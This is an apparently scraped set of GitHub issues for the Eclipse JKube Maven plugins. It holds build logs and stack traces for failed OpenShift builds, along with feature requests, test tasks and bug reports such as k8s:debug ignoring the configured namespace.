[DEBUG] Included: org.sonatype.sisu:sisu-inject-bean:jar:1.4.2
[DEBUG] Included: org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7
[DEBUG] Included: org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1
[DEBUG] Included: org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0
[DEBUG] Included: org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1
[DEBUG] Configuring mojo org.eclipse.jkube:oc-maven-plugin:0.1.1:build from plugin realm ClassRealm[plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1, parent: sun.misc.Launcher$AppClassLoader@70dea4e]
[DEBUG] Configuring mojo 'org.eclipse.jkube:oc-maven-plugin:0.1.1:build' with basic configurator -->
[DEBUG] (f) autoCreateCustomNetworks = false
[DEBUG] (f) buildRecreate = none
[DEBUG] (f) forcePull = false
[DEBUG] (f) includes = [spring-boot]
[DEBUG] (f) config = {spring-boot={alias=spring-boot, from=registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest}}
[DEBUG] (f) generator = org.eclipse.jkube.kit.config.resource.ProcessorConfig@1ffcf674
[DEBUG] (f) keepContainer = false
[DEBUG] (f) keepRunning = false
[DEBUG] (f) logStdout = false
[DEBUG] (f) maxConnections = 100
[DEBUG] (f) openshiftPullSecret = pullsecret-jkube
[DEBUG] (f) outputDirectory = target/docker
[DEBUG] (f) project = MavenProject: com.ibm.gts.aro:sample:0.0.1-SNAPSHOT @ /Users/[email protected]/IBM/customers/cibc/sample/pom.xml
[DEBUG] (f) reactorProjects = [MavenProject: com.ibm.gts.aro:sample:0.0.1-SNAPSHOT @ /Users/[email protected]/IBM/customers/cibc/sample/pom.xml]
[DEBUG] (f) removeVolumes = false
[DEBUG] (f) resourceDir = /Users/[email protected]/IBM/customers/cibc/sample/src/main/jkube
[DEBUG] (f) s2iImageStreamLookupPolicyLocal = true
[DEBUG] (f) session = org.apache.maven.execution.MavenSession@7d070ef5
[DEBUG] (f) settings = org.apache.maven.execution.SettingsAdapter@2e2f720
[DEBUG] (f) skip = false
[DEBUG] (f) skipBuild = false
[DEBUG] (f) skipExtendedAuth = false
[DEBUG] (f) skipMachine = false
[DEBUG] (f) sourceDirectory = src/main/docker
[DEBUG] (f) useColor = true
[DEBUG] (f) useProjectClasspath = false
[DEBUG] (f) verbose = false
[DEBUG] (f) watchInterval = 5000
[DEBUG] (f) watchMode = both
[DEBUG] -- end configuration --
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[INFO] oc: Running in OpenShift mode
[INFO] oc: Using OpenShift build with strategy S2I
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[INFO] oc: Running generator spring-boot
[DEBUG] readpipe [git, --version],/usr/bin
[DEBUG] readpipe may return 'git version 2.21.1 (Apple Git-122.3)'
[DEBUG] remaining output:
[DEBUG] readpipe [git, config, --system, --edit],/usr/bin
[DEBUG] readpipe may return '/private/etc/gitconfig'
[DEBUG] remaining output:
[INFO] oc: spring-boot: Using Docker image registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest as base / builder
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] All known ContainerDescriptorHandler components: [metaInf-spring, plexus, file-aggregator, metaInf-services]
[DEBUG] FileSet[bin/] dir perms: -1 file perms: -1
[DEBUG] The archive base directory is 'null'
[DEBUG] FileSet[] dir perms: -1 file perms: -1
[DEBUG] The archive base directory is 'null'
[DEBUG] FileSet[] dir perms: -1 file perms: -1
[DEBUG] The archive base directory is 'null'
[DEBUG] NOT reformatting any files in /Users/[email protected]/IBM/customers/cibc/sample/target
[DEBUG] Adding file-set in: /Users/[email protected]/IBM/customers/cibc/sample/target to archive location: ./
[DEBUG] Adding exclude for assembly working-directory: docker/aro/sample/latest/work
File-Set source directory: /Users/[email protected]/IBM/customers/cibc/sample/target
[INFO] Copying files to /Users/[email protected]/IBM/customers/cibc/sample/target/docker/aro/sample/latest/build/maven
[INFO] Building tar: /Users/[email protected]/IBM/customers/cibc/sample/target/docker/aro/sample/latest/tmp/docker-build.tar
[DEBUG] Dockerfile already added, skipping
[INFO] oc: [aro/sample:latest] "spring-boot": Created docker source tar /Users/[email protected]/IBM/customers/cibc/sample/target/docker/aro/sample/latest/tmp/docker-build.tar
[ERROR] oc: Failed to execute the build [Unable to build the image using the OpenShift build service]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 8.636 s
[INFO] Finished at: 2020-03-04T22:53:40-06:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli) on project sample: Failed to execute the build: Unable to build the image using the OpenShift build service: NullPointerException -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli) on project sample: Failed to execute the build
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.apache.maven.plugin.MojoExecutionException: Failed to execute the build
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:690)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:513)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:657)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:105)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:132)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:72)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.eclipse.jkube.kit.config.service.JkubeServiceException: Unable to build the image using the OpenShift build service
at org.eclipse.jkube.kit.config.service.openshift.OpenshiftBuildService.build (OpenshiftBuildService.java:140)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:687)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:513)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:657)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:105)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:132)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:72)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: java.lang.NullPointerException
at org.eclipse.jkube.kit.config.service.openshift.OpenshiftBuildService.checkOrCreatePullSecret (OpenshiftBuildService.java:388)
at org.eclipse.jkube.kit.config.service.openshift.OpenshiftBuildService.build (OpenshiftBuildService.java:114)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:687)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:513)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:657)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:105)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:132)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:72)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
[ERROR]
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
โ sample git:(master) โ
Provide a landing page for https://www.eclipse.org/jkube
An additional repository should be available to host the website sources:
https://github.com/jkubeio/jkube-website
The landing page should have the following content:
Logo and Eclipse trademarks usage must follow these guidelines: https://www.eclipse.org/legal/logo_guidelines.php
While doing k8s:build
I'm noticing a strange warning in JKube's build logs:
~/work/repos/jkube/quickstarts/maven/spring-boot : $ mvn k8s:build -Pkubernetes
[INFO] Scanning for projects...
[INFO]
[INFO] ----< org.eclipse.jkube.quickstarts.maven:jkube-sample-spring-boot >----
[INFO] Building Eclipse JKube :: Quickstarts :: Maven :: Spring Boot Web 0.2.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- kubernetes-maven-plugin:0.2.1-SNAPSHOT:build (default-cli) @ jkube-sample-spring-boot ---
[INFO] k8s: Running in Kubernetes mode
[INFO] k8s: Building Docker image in Kubernetes mode
[INFO] k8s: Running generator spring-boot
[INFO] k8s: spring-boot: Using Docker image fabric8/java-centos-openjdk8-jdk:1.5 as base / builder
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.bouncycastle.jcajce.provider.drbg.DRBG (file:/home/rohaan/.m2/repository/org/bouncycastle/bcprov-jdk15on/1.61/bcprov-jdk15on-1.61.jar) to constructor sun.security.provider.Sun()
WARNING: Please consider reporting this to the maintainers of org.bouncycastle.jcajce.provider.drbg.DRBG
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Created docker-build.tar in 277 milliseconds
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Built image sha256:61c9e
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Removed old image sha256:ef540
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Tag with latest
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 6.156 s
[INFO] Finished at: 2020-03-16T12:57:17+05:30
[INFO] ------------------------------------------------------------------------
~/work/repos/jkube/quickstarts/maven/spring-boot : $
It's this section in logs:
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.bouncycastle.jcajce.provider.drbg.DRBG (file:/home/rohaan/.m2/repository/org/bouncycastle/bcprov-jdk15on/1.61/bcprov-jdk15on-1.61.jar) to constructor sun.security.provider.Sun()
WARNING: Please consider reporting this to the maintainers of org.bouncycastle.jcajce.provider.drbg.DRBG
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
It doesn't look good to me, I think we need to find out the root cause of this warning(probably bouncy castle package usage) and remove it if needed.
Replicate https://github.com/manusa/fmp-integration-tests/ project to add integration tests to JKube
it
subprojectFollowing the pattern in ZeroConfigK8sITCase and ZeroConfigOcITCase, implement end-to-end k8s:log
and oc:log
for vertx test suites.
cc: @anandrkskd
Create E2E tests to verify OpenLiberty generator and enricher works as expected.
other
profilecc: @anandrkskd
Create E2E tests to verify Wildfly Swarm generator works as expected.
Specific verifications:
other
profilecc: @anandrkskd
As of now, JKubeProjectAssembly behavior is not aligned with Maven's Assemby Plugin behavior.
Behavior for filesets includes, excludes, filtered, etc. is opinionated and doesn't perform as described in https://maven.apache.org/plugins/maven-assembly-plugin/assembly.html#class_fileSet.
There are some fields missing too.
Same goes for file, repository, etc.
We should either properly document our API behavior or completely implement the behavior mimicking the one provided by Apache Maven Plugin.
Relates to:
Eclipse JKube Introduction blog post is outdated with current status of the project and API (version numbers and artifact ids).
Operating System
$ uname -a
Linux zoltan-VirtualBox 5.3.0-46-generic #38~18.04.1-Ubuntu SMP Tue Mar 31 04:17:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Eclipse JKube version
org.eclipse.jkube
kubernetes-maven-plugin
1.0.0-alpha-1
Java version
$ java -version
java version "13.0.2" 2020-01-14
Java(TM) SE Runtime Environment (build 13.0.2+8)
Java HotSpot(TM) 64-Bit Server VM (build 13.0.2+8, mixed mode, sharing)
Maven version
mvn -version
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: /home/zoltan/.sdkman/candidates/maven/current
Java version: 13.0.2, vendor: Oracle Corporation, runtime: /home/zoltan/dev/java/jdk-13.0.2
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "5.3.0-46-generic", arch: "amd64", family: "unix"
Target cluster version (Kubernetes, OpenShift, Minikube, CRC, etc.)
$ minikube version
minikube version: v1.9.1
commit: d8747aec7ebf8332ddae276d5f8fb42d3152b5a1
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T20:08:47Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T14:50:46Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}
Symptom:
k8s:debug
fails to establish port-forwarding via kubectl, because the namespace (pom.xml) is ignored when calling kubectl.
pom.xml
<properties>
...
<jkube.namespace>customnamespace</jkube.namespace>
[INFO] --- kubernetes-maven-plugin:1.0.0-alpha-1:debug (default-cli) @ shopping-cart ---
[INFO] k8s: Using Kubernetes at https://172.17.0.2:8443/ in namespace customnamespace with manifest /home/zoltan/dev/workspaces/eLearning/services/shopping-cart/target/classes/META-INF/jkube/kubernetes.yml
[INFO] k8s: Using namespace: customnamespace
[INFO] k8s: Updating a Service from kubernetes.yml
[INFO] k8s: Updated Service: target/jkube/applyJson/customnamespace/service-shopping-cart-9.json
[INFO] k8s: Enabling debug on Deployment shopping-cart
[INFO] k8s: Waiting for debug pod with selector LabelSelector(matchExpressions=[], matchLabels={app=shopping-cart, provider=jkube, group=hu.customnamespace}, additionalProperties={}) and environment variables {JAVA_DEBUG_SUSPEND=false, JAVA_ENABLE_DEBUG=true}
[INFO] k8s: Port forwarding to port 5005 on pod shopping-cart-5cfc69469b-9sl86 using command /snap/bin/kubectl
[WARNING] k8s:port-forward Error from server (NotFound): pods "shopping-cart-5cfc69469b-9sl86" not found
[INFO] k8s:
[INFO] k8s: Now you can start a Remote debug execution in your IDE by using localhost and the debug port 5005
[INFO] k8s:
The problem is indicated as a warning (still it should be an ERROR):
[WARNING] k8s:port-forward Error from server (NotFound): pods "shopping-cart-5cfc69469b-9sl86" not found
Root cause:
kubernetes namespace is silently ignored by the
k8s:debug
Maven goal.
Ducktaping workaround: configuring the context (for subsequent kubectl commands) manually solves the problem:
kubectl config set-context --current --namespace=customnamespace
Once the context is explicitely set as per above, port forwarding works well when typing:
k8s:debug
The above command is now able to find the pod (since namespace is explicitly set) and port-forwarding can be established -> remote JVM debugger can now be attached from Spring Tool Suit 4 without issues (breakpoints hit etc)
Right now our project's groupId is io.jkube
, since we've now been migrated to Eclipse we need to change it to org.eclipse
Rename Java packages to org.eclipse.jkube
Upgrade maven dependency for fabric8io/kubernetes-client.
Add support for https://podman.io/ and https://buildah.io/
As more environment get installed by default with this container toolchain, Fedora 31 and Openshift 4 Clusters as an example, would be good to support those as well.
Blocked by:
#253
Project migration to the Eclipse Foundation is in progress.
In order to be able to continue working on issues and new features, the project has been forked to a different organization https://github.com/jshiftio/jkube.
All PRs fixing issues in this repo should be targeting https://github.com/jshiftio/jkube master branch. Once this project is completely migrated to Eclipse, jshiftio/jkube can then be merged back.
After the completion of #30, JKube Kit model diagrams should be updated to represent the current status of the project.
The XML configuration in the docs (even in Fabric8 ones), does not seem to match what the code does. This was a source of confusion when I started using these plugins initially (until I dug through the source code).
For example, the XML Configuration outlines what <resources>
item looks like but this does not match the ResourceConfig
class.
If I provide say the <deployment>
child as outlined in that section, I get the following error:
[ERROR] Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.1.1:resource (default-cli) on project pdfg: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1:resource for parameter deployment: Cannot find 'deployment' in class org.eclipse.jkube.kit.config.resource.ResourceConfig -> [Help 1]
But when I do follow the class structure, everything goes as expected.
Am I missing something here?
Currently ApplyMojo creates its own ApplyService
instance.
All Mojos should use instance of the services provided by the JKubeServiceHub
(see BuildMojo)
Relates to: #136
An OpenShift build does not need a connection to a dockerd as the docker build takes place on the OpenShift cluster itself. However, jkube requires a valid dockerd configuration.
Reproduction steps:
<build>
<plugins>
<plugin>
<groupId>org.eclipse.jkube</groupId>
<artifactId>openshift-maven-plugin</artifactId>
<version>1.0.0-alpha-1</version>
<configuration>
<mode>openshift</mode>
<buildStrategy>docker</buildStrategy>
<verbose>true</verbose>
</configuration>
<executions>
<execution>
<id>jkube</id>
<goals>
<goal>resource</goal>
<goal>build</goal>
<!--goal>deploy</goal-->
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
mvn oc:build -X
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [C:\cygwin64\home\roland\.kube\config].
[INFO] oc: Running in OpenShift mode
[INFO] oc: Using OpenShift build with strategy Docker
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [C:\cygwin64\home\roland\.kube\config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [C:\cygwin64\home\roland\.kube\config].
[INFO] oc: Generators:
[INFO] oc: - quarkus
[INFO] oc: - spring-boot
[INFO] oc: - wildfly-swarm
[INFO] oc: - thorntail-v2
[INFO] oc: - openliberty
[INFO] oc: - karaf
[INFO] oc: - vertx
[INFO] oc: - java-exec
[INFO] oc: - webapp
[INFO] oc: Running generator webapp
[INFO] oc: webapp: Using fabric8/tomcat-9:1.2.1 as base image for webapp
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 4.503 s
[INFO] Finished at: 2020-04-01T14:29:54+02:00
[INFO] Final Memory: 26M/319M
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build (default-cli) on project 4711: Execution default-cli of goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build failed: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build (default-cli) on project 4711: Execution default-cli of goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build failed: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:213)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:154)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:146)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:51)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:309)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:194)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:107)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:955)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:290)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:194)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:289)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:229)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:415)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:356)
Caused by: org.apache.maven.plugin.PluginExecutionException: Execution default-cli of goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build failed: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:145)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:208)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:154)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:146)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:51)
